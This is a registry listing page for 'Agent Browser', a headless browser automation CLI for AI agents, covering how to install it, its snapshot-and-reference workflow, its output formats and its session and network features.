A fast Rust-based headless browser automation CLI that enables AI agents to navigate and interact with web pages via structured commands.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install agent-browser-jrdv4mcscrb2
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install agent-browser-jrdv4mcscrb2 using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Agent Browser?
Agent Browser is a high-performance automation engine specifically optimized for AI agent integration. By utilizing a Rust-based core with a Node.js fallback, it provides the speed and reliability needed for complex web tasks within the Openclaw Skills ecosystem. The tool converts web pages into a structured accessibility tree, allowing agents to interact with elements using stable references, effectively solving the challenge of precise web manipulation in automated workflows.
Agent Browser Use Cases
- Automating repetitive web-based tasks and form-filling workflows.
- Scraping and extracting structured data from modern, dynamic web applications.
- Performing automated UI/UX testing and visual regressions.
- Managing authenticated sessions and state across multiple browser tasks.
How Agent Browser Works
- Launch the browser and navigate to a specific URL using the CLI.
- Generate a snapshot to identify interactive elements and their unique reference IDs.
- Send interaction commands like click or fill using the references identified in the snapshot.
- Manage the page state by waiting for network idle or specific DOM elements to appear.
- Export results as JSON, screenshots, or saved authentication states to be used in other Openclaw Skills.
Agent Browser Setup
Before starting, ensure OpenClawProvider is running on your system. To install the tool, run the following commands in your terminal:
npm install -g agent-browser
agent-browser install
agent-browser install --with-deps
Agent Browser Data Schema & Taxonomy
The skill organizes its output and persistent data to be easily consumable by agents. Below is the primary data structure layout:
| Data Type | Description | File Format |
|---|---|---|
| Page Snapshot | List of interactive elements with refs | JSON / Plain Text |
| Session State | Saved cookies and local storage | .json |
| Visual Assets | Screenshots and recordings | .png, .pdf, .webm |
| Network Logs | Tracked requests and responses | CLI Output |
Agent Browser Advanced Features
- Support for multiple isolated browser sessions running in parallel.
- Comprehensive network interception for routing, blocking, or mocking API responses.
- Advanced debugging tools including CDP connection and trace file generation.
- Semantic locator support to find elements by role, label, or text content.
- Built-in session state management for persistent logins across various Openclaw Skills.
SKILL.md
Loading
Related Openclaw Skills
Agent Browser
A high-performance Rust-based headless browser CLI designed for AI agents to perform complex web interactions and data extraction.
Agent Browser
A high-performance Rust-based headless browser CLI that enables AI agents to navigate, interact with, and extract data from web pages using structured commands.
Agent Browser
A high-performance, Rust-based headless browser CLI designed for AI agents to interact with the web through structured commands.
Agent Browser
A high-performance Rust-based headless browser CLI designed for AI agents to navigate and interact with the web through structured commands.
Agent Browser
A lightning-fast Rust-based headless browser automation CLI that enables AI agents to navigate, interact with, and extract data from web pages via structured commands.
Agent Browser
A high-speed Rust-based headless browser CLI designed for AI agents to interact with web pages through structured commands.
Featured*
